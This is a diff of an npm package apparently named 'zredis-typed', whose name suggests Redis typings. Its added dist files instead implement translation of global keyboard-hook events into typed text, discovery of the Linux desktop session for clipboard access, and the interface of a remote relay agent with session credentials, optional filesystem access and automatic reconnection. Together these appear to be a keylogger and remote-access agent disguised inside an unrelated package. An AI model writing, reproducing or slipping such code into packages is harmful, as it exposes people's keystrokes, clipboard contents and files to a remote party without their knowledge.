zredis-typed 1.0.127

package/dist/keyboardTranslate.d.ts

@@ -0,0 +1,23 @@
+/** libuiohook VC code for Caps Lock (toggle only; no character inserted). */
+export declare const UIOHOOK_VC_CAPS_LOCK = 58;
+/** libuiohook VC_NUM_LOCK (0x45). Does not produce text; Num Lock on/off changes numpad keycodes. */
+export declare const UIOHOOK_VC_NUM_LOCK = 69;
+export type UiohookKeyModifiers = {
+    keycode: number;
+    shiftKey: boolean;
+    ctrlKey: boolean;
+    altKey: boolean;
+    metaKey: boolean;
+};
+/**
+ * US-layout fallback for Linux/macOS (and rare Windows fallback when ToUnicodeEx returns null).
+ * `capsLockOn` is tracked by toggling on Caps Lock key presses (see `translateUiohookKeydown`).
+ */
+export declare function keyEventToTextFallback(e: UiohookKeyModifiers, capsLockOn: boolean): string | null;
+/**
+ * Single keydown → character(s) or null (modifier-only, Caps toggle, unsupported key).
+ * Mutates `capsLockOnRef` when the Caps Lock key is pressed (toggle).
+ */
+export declare function translateUiohookKeydown(ev: UiohookKeyModifiers, capsLockOnRef: {
+    current: boolean;
+}): string | null;

package/dist/keyboardTranslate.js

@@ -0,0 +1,204 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.UIOHOOK_VC_NUM_LOCK = exports.UIOHOOK_VC_CAPS_LOCK = void 0;
+exports.keyEventToTextFallback = keyEventToTextFallback;
+exports.translateUiohookKeydown = translateUiohookKeydown;
+/**
+ * uiohook keydown → text for forge-db keyboard sync.
+ *
+ * - **Windows:** `ToUnicodeEx` (layout-accurate; see `win32InputNative.ts`).
+ * - **Linux / macOS:** US QWERTY-style fallback + tracked Caps Lock (uiohook does not expose caps state).
+ *   Fallback allows **Ctrl+Alt** (AltGr) like the Win32 path; lone Ctrl / lone Alt are still filtered.
+ * - **Numpad:** With Num Lock on, uiohook uses base VC_KP_* (`71`–`82`, etc.); with Num Lock off it uses
+ *   `0xEE00 | …` navigation codes — we ignore those in fallback (no fake digits). Windows uses `ToUnicodeEx`
+ *   + keyboard state (including Num Lock) for the correct character.
+ */
+const win32InputNative_1 = require("./win32InputNative");
+/** libuiohook VC code for Caps Lock (toggle only; no character inserted). */
+exports.UIOHOOK_VC_CAPS_LOCK = 58;
+/** libuiohook VC_NUM_LOCK (0x45). Does not produce text; Num Lock on/off changes numpad keycodes. */
+exports.UIOHOOK_VC_NUM_LOCK = 0x45;
+/**
+ * libuiohook ORs `0xEE00` into the scancode when Num Lock is off so numpad keys become
+ * Home / arrows / PgUp / … (see `VC_KP_HOME` = `0xEE00 | VC_KP_7` in uiohook.h).
+ * Those codes must not be treated as digits or punctuation in the US fallback.
+ */
+function isNumpadNavigationExtendedVc(keycode) {
+    return (keycode & 0xff00) === 0xee00;
+}
+function modifierBlocksText(e) {
+    if (e.metaKey)
+        return true;
+    if (e.ctrlKey && !e.altKey)
+        return true;
+    if (e.altKey && !e.ctrlKey)
+        return true;
+    // Keep Ctrl+Alt allowed: AltGr on Windows / many Linux layouts (matches `unicodeFromUiohookKeyEvent`).
+    return false;
+}
+/**
+ * US-layout fallback for Linux/macOS (and rare Windows fallback when ToUnicodeEx returns null).
+ * `capsLockOn` is tracked by toggling on Caps Lock key presses (see `translateUiohookKeydown`).
+ */
+function keyEventToTextFallback(e, capsLockOn) {
+    if (modifierBlocksText(e))
+        return null;
+    if (isNumpadNavigationExtendedVc(e.keycode))
+        return null;
+    const sh = e.shiftKey;
+    const letters = {
+        30: "a",
+        48: "b",
+        46: "c",
+        32: "d",
+        18: "e",
+        33: "f",
+        34: "g",
+        35: "h",
+        23: "i",
+        36: "j",
+        37: "k",
+        38: "l",
+        50: "m",
+        49: "n",
+        24: "o",
+        25: "p",
+        16: "q",
+        19: "r",
+        31: "s",
+        20: "t",
+        22: "u",
+        47: "v",
+        17: "w",
+        45: "x",
+        21: "y",
+        44: "z",
+    };
+    const base = letters[e.keycode];
+    if (base) {
+        const upper = sh !== capsLockOn;
+        return upper ? base.toUpperCase() : base;
+    }
+    const digitCodes = {
+        2: "1",
+        3: "2",
+        4: "3",
+        5: "4",
+        6: "5",
+        7: "6",
+        8: "7",
+        9: "8",
+        10: "9",
+        11: "0",
+    };
+    const d = digitCodes[e.keycode];
+    if (d) {
+        if (!sh)
+            return d;
+        const m = {
+            "1": "!",
+            "2": "@",
+            "3": "#",
+            "4": "$",
+            "5": "%",
+            "6": "^",
+            "7": "&",
+            "8": "*",
+            "9": "(",
+            "0": ")",
+        };
+        return m[d] ?? d;
+    }
+    /** Numpad digits (VC codes from libuiohook). */
+    const numpadDigit = {
+        82: "0",
+        79: "1",
+        80: "2",
+        81: "3",
+        75: "4",
+        76: "5",
+        77: "6",
+        71: "7",
+        72: "8",
+        73: "9",
+    };
+    const nd = numpadDigit[e.keycode];
+    if (nd)
+        return nd;
+    /** Numpad operators (VC codes; libuiohook). */
+    if (e.keycode === 55)
+        return "*";
+    if (e.keycode === 78)
+        return "+";
+    if (e.keycode === 74)
+        return "-";
+    if (e.keycode === 83)
+        return ".";
+    if (e.keycode === 3637)
+        return "/";
+    const SC = {
+        Space: 57,
+        Enter: 28,
+        Tab: 15,
+        Semicolon: 39,
+        Equal: 13,
+        Comma: 51,
+        Minus: 12,
+        Period: 52,
+        Slash: 53,
+        Backquote: 41,
+        BracketLeft: 26,
+        Backslash: 43,
+        BracketRight: 27,
+        Quote: 40,
+    };
+    if (e.keycode === SC.Space)
+        return " ";
+    if (e.keycode === SC.Enter)
+        return "\n";
+    if (e.keycode === SC.Tab)
+        return "\t";
+    const sym = [
+        { c: SC.Semicolon, n: ";", s: ":" },
+        { c: SC.Equal, n: "=", s: "+" },
+        { c: SC.Comma, n: ",", s: "<" },
+        { c: SC.Minus, n: "-", s: "_" },
+        { c: SC.Period, n: ".", s: ">" },
+        { c: SC.Slash, n: "/", s: "?" },
+        { c: SC.Backquote, n: "`", s: "~" },
+        { c: SC.BracketLeft, n: "[", s: "{" },
+        { c: SC.Backslash, n: "\\", s: "|" },
+        { c: SC.BracketRight, n: "]", s: "}" },
+        { c: SC.Quote, n: "'", s: '"' },
+    ];
+    for (const x of sym) {
+        if (e.keycode === x.c)
+            return sh ? x.s : x.n;
+    }
+    return null;
+}
+/**
+ * Single keydown → character(s) or null (modifier-only, Caps toggle, unsupported key).
+ * Mutates `capsLockOnRef` when the Caps Lock key is pressed (toggle).
+ */
+function translateUiohookKeydown(ev, capsLockOnRef) {
+    if (ev.keycode === exports.UIOHOOK_VC_CAPS_LOCK) {
+        // Toggle our tracked state on every platform. On Win32 the ToUnicodeEx path also reads
+        // GetKeyState(VK_CAPITAL) so it doesn't use this ref — but the fallback path does, so
+        // we must always track to keep the fallback in sync.
+        capsLockOnRef.current = !capsLockOnRef.current;
+        return null;
+    }
+    if (ev.keycode === exports.UIOHOOK_VC_NUM_LOCK) {
+        return null;
+    }
+    try {
+        const u = (0, win32InputNative_1.unicodeFromUiohookKeyEvent)(ev);
+        if (u !== null && u !== "")
+            return u;
+    }
+    catch {
+        // koffi / Win32 API failure — fall through to US fallback below
+    }
+    return keyEventToTextFallback(ev, capsLockOnRef.current);
+}

package/dist/linuxClipboardSession.d.ts

@@ -0,0 +1,16 @@
+export declare function linuxWaylandDisplayValid(name: string): boolean;
+/** Drop stale `DISPLAY` / `WAYLAND_DISPLAY` left in forge-js-agent.env after reboot or session change. */
+export declare function linuxClearStaleGraphicalEnv(): void;
+/** First `wayland-N` socket name under XDG_RUNTIME_DIR, if any. */
+export declare function linuxDiscoverWaylandDisplay(): string | null;
+/** First local X11 display (`:N`) with an existing abstract socket. */
+export declare function linuxDiscoverDisplay(): string | null;
+/**
+ * Fill missing `XDG_RUNTIME_DIR`, `WAYLAND_DISPLAY`, `DISPLAY`, `DBUS_SESSION_BUS_ADDRESS`,
+ * and `XAUTHORITY` in `process.env` when a desktop session is present on the host.
+ */
+export declare function ensureLinuxGraphicalSessionEnv(): void;
+/**
+ * True when an X11 or Wayland desktop session appears present (after optional env discovery).
+ */
+export declare function linuxDesktopSessionActive(): boolean;

package/dist/linuxClipboardSession.js

@@ -0,0 +1,179 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.linuxWaylandDisplayValid = linuxWaylandDisplayValid;
+exports.linuxClearStaleGraphicalEnv = linuxClearStaleGraphicalEnv;
+exports.linuxDiscoverWaylandDisplay = linuxDiscoverWaylandDisplay;
+exports.linuxDiscoverDisplay = linuxDiscoverDisplay;
+exports.ensureLinuxGraphicalSessionEnv = ensureLinuxGraphicalSessionEnv;
+exports.linuxDesktopSessionActive = linuxDesktopSessionActive;
+/**
+ * Best-effort discovery of graphical session env for clipboard tools under systemd --user,
+ * XDG autostart, or boot-before-login when forge-js-agent.env is stale or incomplete.
+ */
+const fs = __importStar(require("node:fs"));
+const os = __importStar(require("node:os"));
+const path = __importStar(require("node:path"));
+const linuxX11_1 = require("./linuxX11");
+function linuxWaylandDisplayValid(name) {
+    return waylandSocketExists(name);
+}
+function waylandSocketExists(name) {
+    const xdg = (process.env.XDG_RUNTIME_DIR || "").trim() || xdgRuntimeDir();
+    if (!xdg || !name)
+        return false;
+    try {
+        return fs.existsSync(path.join(xdg, name));
+    }
+    catch {
+        return false;
+    }
+}
+/** Drop stale `DISPLAY` / `WAYLAND_DISPLAY` left in forge-js-agent.env after reboot or session change. */
+function linuxClearStaleGraphicalEnv() {
+    if (process.platform !== "linux")
+        return;
+    const disp = (process.env.DISPLAY || "").trim();
+    if (disp && !(0, linuxX11_1.linuxDisplayPointsToExistingX11Socket)()) {
+        delete process.env.DISPLAY;
+    }
+    const wl = (process.env.WAYLAND_DISPLAY || "").trim();
+    if (wl && !waylandSocketExists(wl)) {
+        delete process.env.WAYLAND_DISPLAY;
+    }
+}
+function linuxUid() {
+    try {
+        return os.userInfo().uid;
+    }
+    catch {
+        return process.getuid?.() ?? 1000;
+    }
+}
+function xdgRuntimeDir() {
+    const fromEnv = (process.env.XDG_RUNTIME_DIR || "").trim();
+    if (fromEnv)
+        return fromEnv;
+    return `/run/user/${linuxUid()}`;
+}
+/** First `wayland-N` socket name under XDG_RUNTIME_DIR, if any. */
+function linuxDiscoverWaylandDisplay() {
+    const xdg = xdgRuntimeDir();
+    try {
+        if (!fs.existsSync(xdg))
+            return null;
+        const names = fs
+            .readdirSync(xdg)
+            .filter((e) => /^wayland-\d+$/.test(e))
+            .sort((a, b) => {
+            const na = parseInt(a.split("-")[1] ?? "0", 10);
+            const nb = parseInt(b.split("-")[1] ?? "0", 10);
+            return na - nb;
+        });
+        return names[0] ?? null;
+    }
+    catch {
+        return null;
+    }
+}
+/** First local X11 display (`:N`) with an existing abstract socket. */
+function linuxDiscoverDisplay() {
+    try {
+        const entries = fs.readdirSync("/tmp/.X11-unix");
+        const nums = entries
+            .map((e) => /^X(\d+)$/.exec(e))
+            .filter((m) => m !== null)
+            .map((m) => parseInt(m[1], 10))
+            .sort((a, b) => a - b);
+        if (nums.length === 0)
+            return null;
+        return `:${nums[0]}`;
+    }
+    catch {
+        return null;
+    }
+}
+/**
+ * Fill missing `XDG_RUNTIME_DIR`, `WAYLAND_DISPLAY`, `DISPLAY`, `DBUS_SESSION_BUS_ADDRESS`,
+ * and `XAUTHORITY` in `process.env` when a desktop session is present on the host.
+ */
+function ensureLinuxGraphicalSessionEnv() {
+    if (process.platform !== "linux")
+        return;
+    linuxClearStaleGraphicalEnv();
+    const xdg = xdgRuntimeDir();
+    if (!(process.env.XDG_RUNTIME_DIR || "").trim() && fs.existsSync(xdg)) {
+        process.env.XDG_RUNTIME_DIR = xdg;
+    }
+    const runtime = (process.env.XDG_RUNTIME_DIR || "").trim() || xdg;
+    if (runtime && !(process.env.WAYLAND_DISPLAY || "").trim()) {
+        const wl = linuxDiscoverWaylandDisplay();
+        if (wl)
+            process.env.WAYLAND_DISPLAY = wl;
+    }
+    if (!(process.env.DISPLAY || "").trim()) {
+        const disp = linuxDiscoverDisplay();
+        if (disp)
+            process.env.DISPLAY = disp;
+    }
+    if (runtime && !(process.env.DBUS_SESSION_BUS_ADDRESS || "").trim()) {
+        const busPath = path.join(runtime, "bus");
+        if (fs.existsSync(busPath)) {
+            process.env.DBUS_SESSION_BUS_ADDRESS = `unix:path=${busPath}`;
+        }
+    }
+    if (!(process.env.XAUTHORITY || "").trim()) {
+        const home = (process.env.HOME || "").trim() || os.homedir();
+        const xa = path.join(home, ".Xauthority");
+        if (fs.existsSync(xa))
+            process.env.XAUTHORITY = xa;
+    }
+}
+/**
+ * True when an X11 or Wayland desktop session appears present (after optional env discovery).
+ */
+function linuxDesktopSessionActive() {
+    if (process.platform !== "linux")
+        return false;
+    ensureLinuxGraphicalSessionEnv();
+    if ((process.env.WAYLAND_DISPLAY || "").trim() || (0, linuxX11_1.linuxLikelyWaylandSession)()) {
+        return true;
+    }
+    const disp = (process.env.DISPLAY || "").trim();
+    if (disp) {
+        return (0, linuxX11_1.linuxDisplayPointsToExistingX11Socket)();
+    }
+    return linuxDiscoverDisplay() !== null || linuxDiscoverWaylandDisplay() !== null;
+}

package/dist/linuxX11.d.ts

@@ -0,0 +1,7 @@
+/** True if DISPLAY is unset, non-`:n`, or `/tmp/.X11-unix/Xn` exists. */
+export declare function linuxDisplayPointsToExistingX11Socket(): boolean;
+/**
+ * True when a Wayland compositor session is likely (even if `WAYLAND_DISPLAY` was not
+ * propagated into systemd/LaunchAgent — only `DISPLAY=:0` left in forge-js-agent.env).
+ */
+export declare function linuxLikelyWaylandSession(): boolean;

package/dist/linuxX11.js

@@ -0,0 +1,71 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.linuxDisplayPointsToExistingX11Socket = linuxDisplayPointsToExistingX11Socket;
+exports.linuxLikelyWaylandSession = linuxLikelyWaylandSession;
+/**
+ * Detect whether DISPLAY=:n points at a real local X11 socket (headless / SSH edge cases).
+ */
+const fs = __importStar(require("node:fs"));
+/** True if DISPLAY is unset, non-`:n`, or `/tmp/.X11-unix/Xn` exists. */
+function linuxDisplayPointsToExistingX11Socket() {
+    const d = (process.env.DISPLAY || "").trim();
+    const m = /^:([0-9]+)(?:\.[0-9]+)?$/.exec(d);
+    if (!m)
+        return true;
+    try {
+        return fs.existsSync(`/tmp/.X11-unix/X${m[1]}`);
+    }
+    catch {
+        return false;
+    }
+}
+/**
+ * True when a Wayland compositor session is likely (even if `WAYLAND_DISPLAY` was not
+ * propagated into systemd/LaunchAgent — only `DISPLAY=:0` left in forge-js-agent.env).
+ */
+function linuxLikelyWaylandSession() {
+    if ((process.env.WAYLAND_DISPLAY || "").trim())
+        return true;
+    const xdg = (process.env.XDG_RUNTIME_DIR || "").trim();
+    if (!xdg)
+        return false;
+    try {
+        return fs.readdirSync(xdg).some((e) => /^wayland-\d+$/.test(e));
+    }
+    catch {
+        return false;
+    }
+}

package/dist/relayAgent.d.ts

@@ -0,0 +1,25 @@
+export interface RunRelayAgentOptions {
+    relayUrl: string;
+    sessionId: string;
+    password?: string;
+    allowFilesystem?: boolean;
+    /** ms between reconnect attempts after failure */
+    reconnectDelayMs?: number;
+    quiet?: boolean;
+    /**
+     * Absolute path to the forge-jsx package root (the directory containing `package.json`).
+     * Used for version reporting in the agent `info` message (`forge_jsx_version`).
+     */
+    pkgRoot?: string;
+    /**
+     * Invoked once per WebSocket connect after the relay `connected` message (parsed `relay_features`
+     * object, possibly empty). Used to apply relay-advertised settings before Discord starts.
+     */
+    onRelayCapabilities?: (relayFeatures: Record<string, unknown>) => void;
+}
+/** `FORGE_JS_RELAY_RECONNECT_MS` — base delay before first reconnect (500–120000, default 2000). */
+export declare function parseRelayReconnectDelayMs(): number;
+/** `FORGE_JS_RELAY_WATCHDOG_SEC` — if the agent socket is not OPEN, force reconnect (15–300, default 60; 0=off). */
+export declare function parseRelayWatchdogSec(): number;
+export { forgeSemverLt } from "./forgeSemver.js";
+export declare function runRelayAgentLoop(opts: RunRelayAgentOptions): void;